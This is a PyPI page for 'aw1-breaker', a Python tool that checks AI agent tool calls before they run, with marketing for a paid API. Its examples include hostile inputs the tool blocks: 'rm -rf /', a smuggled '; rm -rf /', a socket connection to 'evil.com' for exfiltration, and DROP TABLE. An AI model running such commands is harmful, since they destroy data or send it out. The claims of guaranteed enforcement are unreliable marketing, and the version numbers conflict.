Skip to main content

aw1-breaker (v2.0.1)

HOL Verified PyPI Zero Dependencies Glama Score License: Apache-2.0 Latency

Featured on Hashgraph Online (HOL): Read the independent source-level teardown: What aw1-breaker 2.0.0 checks before a tool call.

aw1-breaker is a zero-dependency Python security circuit breaker that intercepts autonomous AI agent tool calls in sub-millisecond execution loops using Abstract Syntax Tree (AST) decompilation, per-actor rolling velocity monitors, and cryptographically signed HMAC execution tokens.


⚡ 10-Second Test Drive (Zero-Install)

Test the circuit breaker live in your terminal without installing anything:

uvx aw1-circuit-breaker --demo

Or verify an arbitrary snippet:

uvx aw1-circuit-breaker verify "subprocess.run(['rm', '-rf', '/'])"

📦 Installation

pip install aw1-circuit-breaker

(Zero external dependencies. Pure Python standard library: Python 3.10 to 3.13).


🛡️ Enterprise Guard (Turnkey 3-Line Integration)

Drop enterprise boundary policies directly onto agent tools using the @guard.protect decorator:

from aw1 import EnterpriseGuard, SecurityViolationError

guard = EnterpriseGuard(
    allowed_tools=["safe_query", "fetch_market_data"],
    max_velocity_per_min=60,
    max_financial_limit=250.0,
    readonly_sql=True
)

@guard.protect(tool_name="safe_query")
def execute_database_query(query: str):
    return db.execute(query)

# Benign queries execute instantly (< 0.2ms)
execute_database_query("SELECT id FROM users LIMIT 1;")

# Adversarial AST injections & SQL drops are halted deterministically
# -> Raises SecurityViolationError: "Database mutation rejected under readonly_sql policy"

🔌 Model Context Protocol (MCP) Server

Run directly with Python:

python mcp_server.py

Or via uvx:

uvx mcp_server.py

MCP Client Configuration

Add to your Claude Desktop or Cursor configuration:

{
  "mcpServers": {
    "aw1-circuit-breaker": {
      "command": "python",
      "args": ["mcp_server.py"]
    }
  }
}

⚔️ Exploit Interception in Action

AW-1 operates deterministically at the Abstract Syntax Tree (AST) level before code reaches Python's runtime execution frame. Probabilistic prompt-based guardrails fail under encoding obfuscation; AST inspection guarantees deterministic enforcement.

Interception Matrix

Attack Vector Attacker Strategy LLM Guardrail Result AW-1 AST Circuit Breaker
Dynamic Execution eval(compile(...)) Evades semantic filters 🛑 Tripped (RESTRICTED_INVOCATION)
Shell Escapes subprocess.Popen(['bash', ...]) Masked as system task 🛑 Tripped (UNAUTHORIZED_MODULE_IMPORT)
Lateral Exfiltration socket.connect(('evil.com', 443)) Disguised as HTTP fetch 🛑 Tripped (UNAUTHORIZED_MODULE_IMPORT)
SQL Destruction DROP TABLE users; Prompt jailbreak bypass 🛑 Tripped (HALT_SQL_MUTATION_FORBIDDEN)

Run the Showcase

python examples/enterprise_guard_demo.py

⏱️ Runtime Latency Telemetry

Deterministic security must not throttle agent execution. AW-1 operates with sub-millisecond AST parsing and microsecond-scale argument filtering across warm execution loops.

Sample Size: 1,000 synthetic iterations per test vector on Debian Python 3.13.

Evaluation Target p50 Latency p95 Latency p99 Latency Status
AST Inspection (Benign Payload) 0.0889 ms 0.1298 ms 0.1645 ms < 0.2 ms Overhead
AST Inspection (Adversarial Exploit) 0.0520 ms 0.0919 ms 0.1051 ms Instant Breakout Halt
Shell Argument Injection Guard 0.0051 ms 0.0096 ms 0.0195 ms Sub-20 µs Inspection

Reproduce locally:

python benchmark.py

🧩 Framework Integration (LangGraph Example)

AW-1 drops directly into autonomous agent execution nodes prior to tool dispatch:

from examples.langgraph_adapter import execute_agent_action, CircuitBreakerException

# Guard autonomous agent tool dispatches
try:
    execute_agent_action(bash_tool, "bash_tool", {"cmd": "cat log.txt; rm -rf /"})
except CircuitBreakerException as blocked:
    print(f"Tool call halted: {blocked}")

🌐 Production Cloud API & Quota Upgrades

Deploying autonomous agents in production? Route your tool dispatch loops through our hosted API gateway with sub-0.2ms deterministic AST inspection:

Plan Pricing (USD / BWP) Quota & Features Access / Checkout
Developer Sandbox Free 10,000 requests, HMAC token minting Code HOL-BREAKER-2026
Developer Pro $49 / BWP 650 /mo 100,000 audit requests, 1 license key, offline HMAC validation Upgrade to Pro
Team / Startup $199 / BWP 2,650 /mo 1,000,000 audit requests, 5 seat keys, Redis state sync Upgrade to Team
Enterprise Dedicated $990 / BWP 13,200 /mo Unlimited seats, dedicated gateway tenant, custom statutory lenses Enterprise Desk

To activate enterprise quotas, pass your signed bearer token in the Authorization header:

curl -X POST [https://p20.laveto.net/wisdom/api/v1/intercept](https://p20.laveto.net/wisdom/api/v1/intercept) \
  -H "Authorization: Bearer AW1-EXEC-TOKEN-..." \
  -H "Content-Type: application/json" \
  -d '{"actor_id": "prod-agent-01", "tool_name": "db_query", "payload": "SELECT 1;"}'

License

Licensed under the Apache License, Version 2.0. See LICENSE for details.


🌐 Cloud REST API Gateway

The AW-1 Circuit Breaker provides a production-grade HTTP interception gateway for microservices, browser frontends, and autonomous agent platforms.

  • Endpoint: POST [https://p20.laveto.net/wisdom/api/v1/intercept](https://p20.laveto.net/wisdom/api/v1/intercept)
  • CORS: Enabled (Access-Control-Allow-Origin: *)
  • Arbitration Engine Latency: < 0.80 ms

Request Payload

{
  "actor_id": "agent-alpha-01",
  "tool_name": "sql_query",
  "payload": "SELECT id, balance FROM accounts WHERE user_id = 42;"
}

Response Schema

1. Permitted Execution (Token Minted)

{
  "status": "PERMITTED",
  "verdict": "PASS",
  "permitted": true,
  "actor_id": "agent-alpha-01",
  "tool_name": "sql_query",
  "token": "aw1_sec_tok_46d16a28e303dffd",
  "reason": "Policy evaluation completed: execution safe",
  "latency_ms": 0.762,
  "circuit_breaker": "AW-1 Sovereign Execution Arbitrator"
}

2. Threat Contained (Fail-Closed)

{
  "status": "HALT_AND_CONTAIN",
  "verdict": "FAIL_CLOSED",
  "permitted": false,
  "actor_id": "agent-alpha-01",
  "tool_name": "bash",
  "token": null,
  "reason": "AST Circuit Breaker containment triggered",
  "latency_ms": 0.201,
  "circuit_breaker": "AW-1 Sovereign Execution Arbitrator"
}

Metadata

Release files for aw1-circuit-breaker 1.0.2

For a detailed explanation of source distributions (sdists) and built distributions (wheels), please see the package formats documentation.

Source distribution (sdist)

Source distribution for aw1-circuit-breaker 1.0.2
File Size Uploaded Provenance
aw1_circuit_breaker-1.0.2.tar.gz 32.1 kB Without provenance Details

Built distribution (wheel)

Table of built distributions (wheels) for aw1-circuit-breaker 1.0.2
File Interpreter ABI Platform
aw1_circuit_breaker-1.0.2-py3-none-any.whl Python 3 none any Details

Total release size: 68.1 kB

Release files / aw1_circuit_breaker-1.0.2.tar.gz

Download URL aw1_circuit_breaker-1.0.2.tar.gz
Size 32.1 kB
Tags Source
SHA-256 checksum
How to use checksums
403a06ce11f37338085b151efe5d4a2153e35ebe05b0853fb2f9cf6b70dbcbdc
BLAKE2b-256 checksum
How to use checksums
869886956f52c79da891230199d8a3b0ea49aae2e00ec0efdc6791d8b53a274e
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/7.0.0 CPython/3.13.1

Release files / aw1_circuit_breaker-1.0.2-py3-none-any.whl

Download URL aw1_circuit_breaker-1.0.2-py3-none-any.whl
Size 36.0 kB
Tags Python 3
SHA-256 checksum
How to use checksums
9a17b478700ddc5f457bb16f9dc9340b753ef389706df460d2d75eeaedee5795
BLAKE2b-256 checksum
How to use checksums
73f73153223c9549902fcb33de7dbba0e2601566c968591d03675f81ef7daba6
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/7.0.0 CPython/3.13.1

Security for aw1-circuit-breaker 1.0.2

Provenance

Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.

No provenance found

None of the files in this release were uploaded with provenance metadata.

A note on package security

PyPI is a repository for distributing packages, not a service for auditing them. While third-party security researchers and our staff do their best to detect and remove malicious packages, PyPI cannot guarantee the quality, security or suitability of any given package.

To learn more about protecting yourself from malicious actors, visit our package security documentation.

Anthropic, PBC Visionary sponsor Bloomberg Visionary sponsor Hudson River Trading Visionary sponsor Meta Visionary sponsor NVIDIA Visionary sponsor Microsoft Sustainability sponsor Depot Continuous Integration AWS Cloud computing and Security Sponsor Datadog Monitoring Fastly CDN Google Download Analytics Sentry Error logging StatusPage Status page